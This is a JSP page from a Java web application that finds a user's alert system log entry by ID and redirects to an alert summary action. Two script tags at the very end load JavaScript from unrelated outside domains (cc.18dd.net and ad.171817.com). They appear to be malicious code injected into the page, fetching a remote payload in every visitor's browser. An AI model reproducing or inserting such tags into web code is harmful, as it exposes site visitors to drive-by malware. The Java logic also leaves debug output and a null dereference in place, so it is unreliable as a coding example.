<%@page import="java.sql.*"%>
<%@page import="java.util.*"%>
<%@page import="com.dcivision.alert.bean.*"%>
<%@page import="com.dcivision.alert.dao.*"%>
<%@page import="com.dcivision.alert.core.*"%>  
<%@page import="com.dcivision.framework.*"%> 
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<%
  String objectType = null;
  Integer objectID = null;
  String actionType = null;
  Integer updateAlertID = null;
  Integer updateAlertTypeID = null;
  Integer updateAlertSystemLogID = null;
  String message = null;
  Connection conn = null;
  List result = null;
  try{
    String logID = request.getParameter("ID");
    int ID = 0;
    try{
      ID = Integer.parseInt(logID);
    }catch(Exception ex2){}
    conn = DataSourceFactory.getConnection();   
    AlertManager alertManager = new AlertManager(sessionContainer, conn);  
    ListPersonalHomeForm lf = new ListPersonalHomeForm();  
    result = (List)alertManager.getSystemLogListByUserRecordID(sessionContainer.getUserRecordID(), lf);  
    SystemLogManager sm = new SystemLogManager();
    UpdateAlertSystemLog systemLog =  sm.getUpdateAlertSystemLogByID(result,ID); 
    if(systemLog==null){
      out.println("systemLog==null");
    }else{
      out.println("systemLog!=null");
    } 
    objectType = systemLog.getObjectType();
    objectID = systemLog.getObjectID();
    actionType = systemLog.getActionType();
    updateAlertID = systemLog.getUpdateAlertID();
    updateAlertTypeID = systemLog.getUpdateAlertTypeID();
    updateAlertSystemLogID = systemLog.getID();
    message = "this is a test."; 
    out.println("objectType="+objectType);
    StringBuffer url = new StringBuffer();
    url.append(request.getContextPath());
    url.append("/ListUpdateAlertSummary.do?objectType=");
    url.append(objectType);
    url.append( "&objectID=");
    url.append(objectID);
    url.append("&actionType=");
    url.append(actionType);
    url.append("&updateAlertID=");
    url.append(updateAlertID);
    url.append("&updateAlertTypeID=");
    url.append(updateAlertTypeID);
    url.append("&updateAlertSystemLogID=");
    url.append(updateAlertSystemLogID);
    url.append("&message=");
    url.append(message);
    url.append("&updateReadOperation=");
    url.append("true");
    response.sendRedirect(url.toString());
  }catch(Exception ex){
    LogFactory.getLog(this.getClass()).error(ex, ex);
  }finally{
    try{
      conn.close();
    }catch(Exception ee2){}
  }
%>
<%!
  class SystemLogManager{
    public UpdateAlertSystemLog getUpdateAlertSystemLogByID(List result,int id){
      UpdateAlertSystemLog l = null;
      for(int i=0;i<result.size();i++){
        l = (UpdateAlertSystemLog)result.get(i);
        if(l.getID().intValue()==id) return l;
      }
      return null;
    }
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>